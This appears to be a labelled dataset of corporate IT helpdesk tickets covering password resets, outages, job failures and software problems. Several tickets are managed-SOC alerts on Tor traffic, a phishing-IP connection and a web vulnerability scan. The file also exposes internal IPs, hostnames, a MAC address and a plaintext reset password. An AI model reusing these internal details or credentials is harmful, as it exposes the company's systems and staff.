maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +mapping printers mapping printers ,GRP_0 +"dsw in22210104 we are seeing your 10.16.4.16/isensor04.company.com device generating '52734 vid28367 tor ssl server certificate detected - inbound' alerts that occurred on 2016-07-15 at 13:26:58 for traffic (not blocked) from port 9001/tcp of 95.211.216.9/95.211.216.9 to port 54528/tcp of 41.29.63.92663 indicating that 95.211.216.9/95.211.216.9 is generating tor traffic._x000D_ + _x000D_ +please note that, depending on the placement of isensor04.company.com/10.16.4.16, there is a possibility that eszl8111123/41.29.63.92663 is your nated host. if this is the case, please examine your nat logs to determine the true destination of this activity. if you do not wish to be alerted on these events, please let us know and we will automatically resolve these alerts when they're destined to your nated host._x000D_ + _x000D_ +tor activity does not immediately indicate malicious activity, however the presence of anonymizing software should be investigated to determine if this is authorized or expected activity. tor activity indicates a possible policy violation which in turn could lead to a potential compromise. tor is being increasingly used by malware, therefore tor activity may also indicate a malware infection._x000D_ + _x000D_ +we are escalating this incident to you via a medium priority ticket and no phone call per our default handling policy. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. _x000D_ +1) full escalation for anonymous communication traffic (tor, etc.) alerts where the traffic was not blocked (explicit notification via a high priority ticket and phone call)_x000D_ +2) automatically resolve anonymous communication traffic (tor, etc.) alerts where the traffic was not blocked to the portal (no explicit notification but events will be available for reporting purposes in the portal)_x000D_ + _x000D_ +sincerely,_x000D_ +dell soc",GRP_2 +" incident #in33541962 - phishing form submit - outbound beshryulisted ip - dane-williuthyr we are seeing your 18.79.63.203/company-internal-asa.company.com-1 device generating '[ipbl]: phishing form submit - outbound beshryulisted ip' alerts for traffic from dane-williuthyr/10.38.93.30 to 107.180.41.85. the external ip address of 107.180.41.85 has been beshryulisted by our counter threat unit (ctu) team due to its association with malware (phishing form submit - outbound). the affected asset should be investigated as traffic to the beshryulisted ip address may indicate that the host has been infected by malware. + +we are escalating this incident to you via a medium priority ticket and e-mail only notification per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the ctoc, or by calling us at 877. +1) full escalation for related events (high priority ticket and a phone call). +2) autoresolve events to the portal (no explicit notification but events will be available for reporting purposes in the portal). + +sincerely, + ctoc + +========================= +event data +========================= + +event id: 304247119 +event summary: [ipbl]: phishing form submit - outbound beshryulisted ip +occurrence count: 1 +event count: 1 + +host and connection information +source ip: 10.38.93.30 +source hostname: dane-williuthyr +source mac address: 28:5a:eb:51:db:f0 +destination ip: 107.180.41.85 +destination hostname: ip-107-180-41-85.ip.secureserver.net. +destination ip geolocation: schtrtgoyhtsdale, usa +connection directionality: outgoing + +device information +device ip: 18.79.63.203 +device name: company-internal-asa.company.com-1 + +scwx event processing information +sherlock rule id (sle): 701525 +inspector event id: 031724385 +agent id: 103611 + +event detail: +aug 8 13:11:36 18.79.63.203 %asa-6-302013: built outbound tcp connection 2173940377 for outside:107.180.41.85/80 (107.180.41.85/80) to inside:10.38.93.30/58345 (12.161.199.50/14084) + +[correlation_data] +aug 8 06:46:44 27.38.93.278 dhcpd[2261]: dhcpack on 10.38.93.30 to 28:5a:eb:51:db:f0 (dane-williuthyr) via eth1 relay 10.38.92.1 lease-duration 604800 (renew) +take action + +ticket action: +",GRP_2 +"skype on the m.curhetyu rack pc is not working, not allowing me to connect but seems to work for others. skype on the m.curhetyu rack pc is not working, not allowing me to connect but seems to work for others.",GRP_3 +"dsw in22457494 dsw in33568505_x000D_ +_x000D_ +we are seeing your 172.20.10.208/isensor02.company.com device generating '49305 vid1029 openvas vulnerability scanner user-agent detected (inbound)' alerts for allowed traffic from port 55829/tcp of 198.8.80.219 to port 80/tcp of 30.28.15.015/30.28.15.015. this traffic indicates that 198.8.80.219 is using the openvas scanner, as indicated in the event details, against 30.28.15.015/30.28.15.015._x000D_ +_x000D_ +blocking each source ip address may not necessarily be productive due to attackers' ability to switch ip addresses through the use of proxies, anonymizing software such as tor, and vpns. please investigate the targeted host to determine whether you are running a vulnerable version of the application being targeted. _x000D_ +_x000D_ +this ticket will effectively serve as a master ticket for any related alerts until we receive feedback from you on how to handle these events going forward. please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. we have a number of options available for the handling of future alerts such as this one:_x000D_ +_x000D_ +1) autoresolve these alerts directly to the portal (no explicit notification and events will be available for reporting purposes in the portal)._x000D_ +2) ticket only escalation via a medium priority ticket (no phone call) for each unique source ip address for these alerts._x000D_ +3) full escalation via a high priority ticket and a phone call for each unique source ip address. _x000D_ +_x000D_ +",GRP_2 +"possible vulnerability scan from host.my-tss.com (198.8.80.219) on isensplant_247 (dmz) dsw in33568733_x000D_ +_x000D_ +we are seeing your 208.211.136.207/isensplant_247.company.com device generating '[o]: possible scan [696363]' alerts for traffic (not blocked) from host/198.8.80.219, indicating that it may be performing a vulnerability scan. _x000D_ +_x000D_ +we are escalating this incident to you via a high priority ticket and phone call per your prior request. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. _x000D_ + _x000D_ +1) ticket only for vulnerability scan alerts (explicit notification via a medium priority ticket and (no phone call))_x000D_ +2) automatically resolve vulnerability scan alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)_x000D_ +_x000D_ +_x000D_ +event data_x000D_ +=========================_x000D_ +related events: _x000D_ +event id: 43478312_x000D_ +event summary: [o]: possible scan [696363]_x000D_ +occurrence count: 52_x000D_ +event count: 1_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 198.8.80.219_x000D_ +source hostname: host.my-tss.com._x000D_ +source port: 56260_x000D_ +source ip geolocation: tarzana, usa_x000D_ +destination port: 80_x000D_ +destination ip geolocation: usa, usa_x000D_ +connection directionality: incoming_x000D_ +http method: get_x000D_ +host: 208.211.136.164_x000D_ +full url path: /global.asa_x000D_ +_x000D_ +device information_x000D_ +device ip: 208.211.136.207_x000D_ +device name: isensplant_247.company.com_x000D_ +log time: 2016-08-10 at 19:14:58 utc_x000D_ +action: not blocked_x000D_ +vendor eventid: 524719_x000D_ +cvss score: -1 _x000D_ +vendor priority: 3_x000D_ +vendor version: 7_x000D_ +vendor reference: vid, 1009_x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 896059_x000D_ +observation rule id (ile): 696363_x000D_ +inspector event id: 61816560_x000D_ +ontology id: 200020003203718788_x000D_ +event type id: 200020003203017106_x000D_ +agent id: 102989_x000D_ +_x000D_ +event detail:_x000D_ +this event indicates a single source generating 3 or more event summaries with a total of 50 or more occurrences in a 10 minute window. _x000D_ +occ time source destination summary_x000D_ +1 19:15:34 198.8.80.219 208.211.136.164 5799 vid1009 fx-scanner global.asa sourcecode access attempt (inbound)_x000D_ +1 19:15:43 198.8.80.219 30.28.15.015 5799 vid1009 fx-scanner global.asa sourcecode access attempt (inbound)_x000D_ +20 19:19:50 198.8.80.219 208.211.136.164 50713 viSID_26475 http post with phpinfo() (inbound)_x000D_ +20 19:19:58 198.8.80.219 30.28.15.015 50713 viSID_26475 http post with phpinfo() (inbound)_x000D_ +5 19:23:12 198.8.80.219 30.28.15.015 36613 vid12927 generirtc http header xss inbound_x000D_ +5 19:23:32 198.8.80.219 208.211.136.164 36613 vid12927 generirtc http header xss inbound_x000D_ +_x000D_ +",GRP_2 +nmpworvu upgtrvnj // monitor display issue nmpworvu upgtrvnj // monitor display issue ,GRP_0 +password chaning for window (company) password chaning for window (company),GRP_0 +connect to the network the pc's in the inspection room can you look in to getting the 2 pc's on to the network in the inspection room off of dept 48? it would be nice to be able to share some images from the pc.,GRP_3 +ess password reset ess password reset,GRP_0 +inquiry for hr_tool site single sign on inquiry for hr_tool site single sign on,GRP_0 +"high priority-laptop monitor gone bad, unable to see screen, its completely beshryu please give high priority since user is traveling from monday. + +service tag-37q3p32 +ph--574",GRP_3 +"need keybankrd in system tray and need picture of keybankrd too. need keybankrd in system tray and need picture of keybankrd too. + +helped user enabling keybankrd at system tray with preferred language but couldn't set up picture for it. +hence as per user request assigning it to local it. +contact # ; 393 + + +",GRP_62 +"company-eu-deu-germany-e-b2-f2-new-office-3550-access-sw01 power supply issue. internal power supply - on company-eu-deu-germany-e-b2-f2-new-office-3550-access-sw01 (68.20.26.7986) is showing faulty_x000D_ +_x000D_ +company-eu-deu-germany-e-b2-f2-new->sh env all_x000D_ +fan is ok_x000D_ +temperature is ok_x000D_ +power is faulty_x000D_ +rps is not present_x000D_ +",GRP_4 +unable to log in to hub/ess portal unable to log in to hub/ess portal,GRP_0 +engineering_tool issue engineering_tool issue ,GRP_0 +"erp account for haunm keeps locking up, can you unlock please. SID_34 erp account for haunm keeps locking up, can you unlock please. SID_34",GRP_0 +engineering_tool issue and zdsxmcwu thdjzolwronization engineering_tool issue and zdsxmcwu thdjzolwronization ,GRP_0 +"request for company.com email address. from: jertyur hanna _x000D_ +sent: thursday, september 01, 2016 8:02 pm_x000D_ +to: efbwiadp dicafxhv_x000D_ +subject: re: company email address request from sqmabtwn fchijage _x000D_ +_x000D_ +approved._x000D_ +_x000D_ +_x000D_ +",GRP_26 +blank call //gso blank call //gso,GRP_0 +"reset my password to daypay3 - SID_51 _x000D_ +_x000D_ +received from: bqjvxsaf.aupdonjy@gmail.com_x000D_ +_x000D_ +reset my password to daypay3 - SID_51_x000D_ +_x000D_ +",GRP_0 +"hanna report access _x000D_ +_x000D_ +received from: muywpnof.prtikusy@gmail.com_x000D_ +_x000D_ +hello,_x000D_ + i seem to have lost my access to hanna reports. when in go in to analysis for excel it takes me into the general excel menu and when i choose a new sheet, the analysis tab is missing. do i need to do something to get access to this back?_x000D_ +_x000D_ +",GRP_0 +"ie went to not legitmate website 814- +summary:on internet. pop-up with reported microsoft registry failure of operating system. + +",GRP_0 +"die synchronisierung mit exchange activesync die synchronisierung mit exchange activesync ist auf ihrem gerät vorübergehend blockiert, bis der zugriff vom administrator gewährt wird.",GRP_0 +erp SID_34 password reset. erp SID_34 password reset.,GRP_0 +skype audio does not work. skype audio does not work.,GRP_0 +inc1541133 - ticket update inc1541133 - ticket update,GRP_0 +"network outage: usa mi site is hard down at 9:29 am et on 09/01. there is no backup circuit. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______9:29 am et on 09/01_______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __no____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____na___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"when sending emails from w-corp-ebusiness.service the sent emails show up in my personal sent folder contact # : 803 +summary: when sending emails from w-corp-ebusiness.service the sent emails show up in my personal sent folder and not in the ebusiness sent folder. +it does this for all users in the company ebusiness email box + + +",GRP_26 +"av system usa _x000D_ +_x000D_ +received from: gdkiehbr.kdithjsr@gmail.com_x000D_ +_x000D_ +please provide it support for the uacyltoe hxgayczeing on the new av system in the main training room in usa. we need to uacyltoe hxgaycze the system to complete the finial sign off for the vendor._x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_3 +ie not working. ie not working.,GRP_0 +hard disk failure on esxi host atjsv001 hard disk failure on esxi host atjsv001,GRP_12 +unable to login to skype unable to login to skype,GRP_0 +HostName_108(kirty - plm conversion - production): disk free on e:\ is now 3%. HostName_108(kirty - plm conversion - production): disk free on e:\ is now 3%.,GRP_12 +log on balancing error ; even after connecting to vpn log on balancing error ; even after connecting to vpn,GRP_0 +"email will not open + +received from: wxnetroc.yecbmliq@gmail.com + +desktop email will not open. + +wxnetroc yecbmliq +252 + +sent from my ipad + + +",GRP_0 +ms office upgrade ; from 2013 to 2016 ms office upgrade ; from 2013 to 2016,GRP_0 +outlook issue slow outlook running slow.,GRP_0 +"network outage: india site is down at 9:00 am et on 09/01. no backup circuit. what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ______no___ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _________9:00 am et on 09/01_____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __no____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____na____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____na___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"printer driver installation name:rohntyub dfhtyuison +language: +browser:microsoft internet explorer +email:zstkagwu.jlyrhdcf@gmail.com +customer number: +telephone:83 +summary:hello, i am having issues printing to my regular printer. i get an error saying ""no pages selected"" and sometimes i am prompted to download a new driver.",GRP_0 +"po - a4 4505633620 hello it,_x000D_ +_x000D_ +there are 3 item linked with the finished materials 7302795, but only one time is showed in po. please help check it, ",GRP_29 +"the zcor0003 report will not work. this is critical to the financial close. the transaction report zcor0003 when ran is producing no data. this is a sa38 report. this is critical to the financial close._x000D_ +",GRP_10 +" password reset does not work in iehs (ticket_no1546057) from: aorthyme rnsuipbk +sent: thursday, september 01, 2016 6:38 pm +to: 'iehshelpdesk.us@anteagroup.com' +cc: ndkrcxjb hpormqtx; ugyothfz ugrmkdhx +subject: password reset does not work in iehs (ticket_no1546057) + +hello, + +mr. roesshnktler is having trouble to reset his password in +whenever he is trying to reset the password, it says that 'your password has been sent to the provided email address'. but he does not receive any password in his mail. + +we have checked and rightly put the email address. + +please help. + +",GRP_0 +unable to connect to vpn unable to connect to vpn,GRP_0 +wifi not working wifi not working ,GRP_0 +"plm + +received from: grkaqnzu.mldekqpi@gmail.com + +hallo, + +für unsere neuen azubis +hspgxeit prwiqjto (diehfhyumj) +und +hdmwolxq xqbevoic (bhdikthyu) +wird noch die plm-berechtigung benötigt. + +mit freundlichen grüßen, +with best ",GRP_0 +please reactivate account for user : vvsimpj till 31st october 2016 please reactivate account for user : vvsimpj till 31st october 2016,GRP_2 +erp SID_34 password reset erp SID_34 password reset ,GRP_0 +.7z file can't be opened. .7z file can't be opened.,GRP_0 +erirtc wants to see an archived mail from a particular date. erirtc wants to see an archived mail from a particular date.,GRP_0 +"business_client is not working i cannot start the business_client anymore, see screenshot attached.",GRP_0 +one team update one team update,GRP_0 +"hr_tool - user is not able to import employee data // ooo till 5th sept user: ehidbxam.rnupoxeq@gmail.com_x000D_ +issue: user is not able to import data to portal - please find attached mail.",GRP_0 +erp SID_34 and SID_21 unlock and password reset. erp SID_34 and SID_21 unlock and password reset.,GRP_0 +licwu3 unlock licwu3 unlock,GRP_0 +dnc430 unlock dnc430 unlock,GRP_0 +"user called to reset password, account is disabled in ad : bmwtqxns.fcrqkhix@gmail.com user called to reset password, account is disabled in ad : bmwtqxns.fcrqkhix@gmail.com",GRP_0 +"erp password reset , erp SID_34 erp password reset , erp SID_34",GRP_0 +"monitor resolution issue + +received from: zjawqgcs.tohqcxla@gmail.com + +hi there, + +i changed to a large monitor, but the screen resolution is not right. i want to change to 1900x1200, but got error message like this ""the current input timing is not supported by the monitor display. please change your input timing to 1920x1080@60hz or any other monitor listed timing as per the monitor specifications"" + + +can you help me out please? + +",GRP_3 +"email not working _x000D_ +_x000D_ +received from: zjawqgcs.tohqcxla@gmail.com_x000D_ +_x000D_ +hi there,_x000D_ +_x000D_ +_x000D_ +i tried to use my email but it still shows loading after 30 mins. i have use the web-based office to check email._x000D_ +_x000D_ +can you help to fix that? ",GRP_0 +"vip 2 - can not sign in + +received from: oxrnpuys.oxizkwmq@gmail.com + +i cannot sign in + +alexgnhtjunder + +[cid:image001.jpg@01d20453.21c570f0] +[cid:image002.jpg@01d20453.21c570f0] + +best ",GRP_19 +"please assist erp log on need to be reset. not sure why but cant log on. + +received from: gvderpbx.udrzjxkm@gmail.com + +gvderpbx udrzjxkm +junior application sales engineer +gvderpbx.udrzjxkm@gmail.com +",GRP_0 +"please assist, symantec questions and answers. + +received from: gvderpbx.udrzjxkm@gmail.com + +[cid:image001.jpg@01d20451.9d7b95f0] + +gvderpbx udrzjxkm +junior application sales engineer +gvderpbx.udrzjxkm@gmail.com +",GRP_0 +ad locked out ad locked out : password reset through password_management_tool password manager.,GRP_0 +"quality certificate abode form over lapping quality certificate abode form over lapping in one page. can u rectify it in page 1 and page2. _x000D_ +i have attached one example form for your reference.",GRP_45 +"circuit outage : apac,apac-dmvpn circuit is down at 5:13 am et on 09/01. site is up on primary circuit. what type of outage: _____network _x____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____slo site_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________ 5:13 am et on 09/01______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ________na___ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____na______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? __yes_____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"erp help _x000D_ +_x000D_ +received from: vfyuldps.kjgcaphx@gmail.com_x000D_ +_x000D_ +hi, dear sir/madam_x000D_ +_x000D_ +i ask your help for the erp pr process._x000D_ +_x000D_ +i went to erp inbox from workflow system. keep pop up the screen below even i just accessed 10 sec._x000D_ +please kindly check and fix._x000D_ +_x000D_ +",GRP_29 +"unable to login to engineering tool hi, + +i changed the password through password_management_tool, and now unable to lonin to engineering tool +pls help +jayhrt bhatyr +extn393 +",GRP_0 +probleme mit erpgui \ ewewx212495 \vzqomdgt jwoqbuml probleme mit erpgui \ ewewx212495 \vzqomdgt jwoqbuml,GRP_24 +probleme mit erpgui \ ewewx212493 \vzqomdgt jwoqbuml probleme mit erpgui \ ewewx212493 \vzqomdgt jwoqbuml,GRP_24 +laptop not chatryung from doc station when connected the laptop to doc station its not charging battery,GRP_19 +outlook is continuously asking for password. outlook is continuously asking for password.,GRP_0 +"printer configuration printer configuration + +0774 +summary:i need to configure printer in t10 region, kindly help to do the same +ricoh aficio mp 2000 pcl16 +ii02",GRP_0 +"konto neu erstellen : ewew8323504 und ewew7212495 ewew8323504 optiplex 780 lager hr.darda_x000D_ +ewew8323506 optiplex 780 lager hr.darda_x000D_ +",GRP_24 +telefonanlage - nebenstelle 20 auf wild marfhtyio umprogramdntymieren! telefonanlage - nebenstelle 20 auf wild marfhtyio umprogramdntymieren!,GRP_33 +password reset request password reset request,GRP_0 +erp gui has be installed erp gui has be installed,GRP_19 +software not working on laptop - engineering_tool - outlook - internet explorer. had a security warning and all have stopped perform had a firewall warning and software stopped working.,GRP_0 +outlook 不能启动。 outlook 不能启动。,GRP_31 +"engineering_tool and engineering_tool not working + +received from: cugjzqlf.djwbyact@gmail.com + +hello + +my system is facing an issues while connecting engineering_tool and engineering_tool software, below is the erro message: + +1. engineering_tool +[cid:image001.png@01d20452.3d767b10] + +2. for engineering_tool +[cid:image002.png@01d20452.3d767b10] +please support + +cugjzqlf djwbyact +executive sales. +company india ltd +mob – 9128mail : cugjzqlf.djwbyact@gmail.com +",GRP_0 +probleme mit etiketten drucken \laser 01 \we_wu102 \pfjwinbg ljtzbdqg probleme mit etiketten drucken \laser 01 \we_wu102 \pfjwinbg ljtzbdqg,GRP_24 +probleme mit etiketten drucken \laser 03 \we_wu102 \pfjwinbg ljtzbdqg probleme mit etiketten drucken \laser 03 \we_wu102 \pfjwinbg ljtzbdqg,GRP_24 +setup new ws \rechner instandsetzung \qnigujek kopqcjdh setup new ws \rechner instandsetzung \qnigujek kopqcjdh,GRP_24 +"webshop access. hello,_x000D_ +i didn't see my customers at webshop (distributor_tool). also i cann't chose any salesorg. _x000D_ +i have unlocked all my accounts and change the password, but the problem remains._x000D_ +",GRP_0 +"erp error hi team, i am experiencing some error in erp SID_34 application. firstly i am not certain whether i am accessing SID_34 system or not. i have logged into netweaver 5.0 in my system. is this the correct application i should be using? please find attachment that can give a glimpse of the error. feel free to chat or email or phone call with me to understand more on this. ",GRP_0 +"job hr_toolmforrun failed in job_scheduler at: 09/01/2016 02:37:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_toolmforrun failed in job_scheduler at: 09/01/2016 02:37:00",GRP_5 +reset the password for arsbtkvd qieagkos on erp / production / erp please reset users password to daypay3,GRP_0 +install new optiplex 7020 as eagw8111311 - fy17 x64 company image install new optiplex 7020 as eagw8111311 - fy17 x64 company image,GRP_28 +erp SID_34 account locked erp SID_34 account locked ,GRP_0 +"erp logon _x000D_ +_x000D_ +received from: ubdihsop.ahyeqpmx@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +will you please help me to logon to erp._x000D_ +_x000D_ +it doesn't want to accept my password._x000D_ +_x000D_ +i think i need to put in new password??_x000D_ +_x000D_ +kind ",GRP_0 +"job Job_2599 failed in job_scheduler at: 09/01/2016 01:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2599 failed in job_scheduler at: 09/01/2016 01:30:00",GRP_8 +"list of it team functions with names + +received from: kflqpite.gbeoqsnc@gmail.com + +hello gso team, +can you forward us the list of it team members – grouped by their function? + +example + + +team members + +it function + +solution + +competrhyrncy + +support + +erp- supply_chain + +srinfhyath + +vijeghtyundra + +shwhdbthyuiethadri +sanhjtyhru kurtyar + + + + + + + + + +windows server + + + + + + + + + + + + + + + +active directory + + + + + + + + + + + + + + + +security - erp + + + + + + + + + + + + + + + +security - non-erp + + + + + + + + + +",GRP_0 +"engineering_drawing_tool issue _x000D_ +_x000D_ +received from: dwsyaqpr.bzasnmvw@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +engineering_drawing_tool is not working in my system. please give me solution in this issue._x000D_ +_x000D_ +",GRP_19 +"edi process for miro entries-urgent _x000D_ +_x000D_ +received from: neokfwiy.ufriscym@gmail.com_x000D_ +_x000D_ +dear it,_x000D_ +_x000D_ +please help to check and post the outstanding miro entries company 5321, we have created & customer inwarehouse_tools yesterday, but the miro entries for interco ap have not been posted yet._x000D_ +_x000D_ +please help to post the entries immediately before 12:00 today._x000D_ +_x000D_ +[cid:image002.png@01d20444.161e7df0]_x000D_ +_x000D_ +best ",GRP_10 +unable to take print out from engineering_drawing_tool 2006 unable to take print out from engineering_drawing_tool 2006.,GRP_19 +"job hr_payroll_na_u1 failed in job_scheduler at: 08/31/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u1 failed in job_scheduler at: 08/31/2016 23:00:00",GRP_10 +"job Job_2551 failed in job_scheduler at: 08/31/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2551 failed in job_scheduler at: 08/31/2016 23:00:00",GRP_8 +"job hr_payroll_na_u2 failed in job_scheduler at: 08/31/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u2 failed in job_scheduler at: 08/31/2016 23:00:00",GRP_10 +"job hr_payroll_na_u6 failed in job_scheduler at: 08/31/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u6 failed in job_scheduler at: 08/31/2016 23:00:00",GRP_10 +mii uacyltoe hxgaycze from lacw8515941 : step 'refresh page' failed: element 'span' was not found since 09:18 pm et on 08/31. mii uacyltoe hxgaycze from lacw8515941 : step 'refresh page' failed: element 'span' was not found since 09:18 pm et on 08/31.,GRP_14 +"mii is not working. error user authentication failed mii is not working. error user authentication failed._x000D_ +_x000D_ +erp is working, internet is working._x000D_ +_x000D_ +whole plant is not able to access the system.",GRP_14 +cannot view the drawing in mii cannot view the drawings attached to material 6216122 in SID_34. i checked and the version of the nxd drawing is 00. this material also exists in SID_1 with the same value.,GRP_41 +"shop floor server issues _x000D_ +_x000D_ +received from: vciknubg.wdlkabms@gmail.com_x000D_ +_x000D_ +request assistance with our shop floor system. all users are unable to log in an scan orders on the floor. a previous call was placed to open a trouble ticket._x000D_ +_x000D_ +",GRP_14 +"job Job_3028 failed in job_scheduler at: 08/31/2016 22:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 08/31/2016 22:02:00",GRP_45 +"when employees try to log into mii, get the following error. user authentication failed not able to scan orders in the usa plant",GRP_14 +"password locked + +received from: cuytdmhv.yeqdmwvt@gmail.com + +hello + +please unlock my password for erp and net weaver. + +user id: kimufghtyry + +",GRP_0 +"configair server responds with "" 500 internal server error"" in case of any other logon language then ""en"". configair server responds with "" 500 internal server error"" in case of any other logon language then ""en"" and the model ""mill_model"" is used. the issue exists in erp erp system SID_34 as well as on distributor_tool / company center - production environment.._x000D_ +further error message text is "" error: while trying to invoke the method java.util.list.iterator() of a null object loaded from local variable 'locallist'""._x000D_ +logon language ""en"" is ok. if our ""csscdrill"" model is used all language seem to be working fine. but once the user changes to any other language (e.g. de or it) and uses the model mill_model the configig air system responses with the error message during starting process of configair configurator.",GRP_14 +HostName_1045:windows disk space utilization alert - on e:\ free space less than 15% and under 5gb free. HostName_1045:(reporting_engineering_tooling - production):windows disk space utilization alert - on e:\ free space less than 15% and under 5gb free. ,GRP_12 +"analysis for microsoft excel access (erp business intelligence) + +received from: zolnubvq.ehrqifxp@gmail.com + +please install analysis for microsoft excel on xrqnyzhb oblghuyf and kvwrbfet jrhoqdix's computer. + +ashley employee number is 6656817 + +vic lonn employee number is 211566061 + +best ",GRP_0 +"job Job_2881 failed in job_scheduler at: 08/31/2016 18:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2881 failed in job_scheduler at: 08/31/2016 18:20:00",GRP_13 +ess site sales and markhtyeting tab missing. ess site sales and markhtyeting tab missing.,GRP_0 +interface: fastethernet0/27 vlan 51: lhqwx402189sf on company-na-usa-usa-switch-cl04-3-2960-access-sw03.company.com is down interface: fastethernet0/27 · vlan 51: lhqwx402189sf on company-na-usa-usa-switch-cl04-3-2960-access-sw03.company.com is down,GRP_8 +"wifi not working, stuck on yet no networks shown, wont turn off. ony mobile broadband works name:todghtyud usa +language: +browser:microsoft internet explorer +email:todd.usa@company.com +customer number: +telephone:734- +summary:wifi not working, stuck on yet no networks shown, wont turn off. ony mobile broadband works",GRP_0 +"reg: warehouse_tool communication tickets + +received from: jvhqyamt.wodzrcjg@gmail.com + +hello gso team, + +please assign any critical warehouse_tool tickets to network team after my office hours and inform them. + +network ops team should be able to resolve the issues and if they need any support intern they will contact me. + +with best ",GRP_0 +unable to open outlook unable to open outlook ,GRP_0 +"in the work center to do list production orders with crtd are showing up - they should not in the work center to do list production orders with crtd are showing up - they should not - please look at work center 10000 in plant_3_x000D_ +stefdgthyo, kahrthyeui, and vinhytry discussed, the hana model is not filtering this information out. we need to add a filter in mii. ",GRP_41 +"need added to printer address book \\HostName_1033\tc91 ic + welcome, our next available agent will be with you shortly... + interaction alerting agent. + website visitor has joined the conversation +rakthyesh ramdntythanjesh + hi danghtnuell +fbhyeksq caexmols + hello rakthyesh +rakthyesh ramdntythanjesh + ",GRP_3 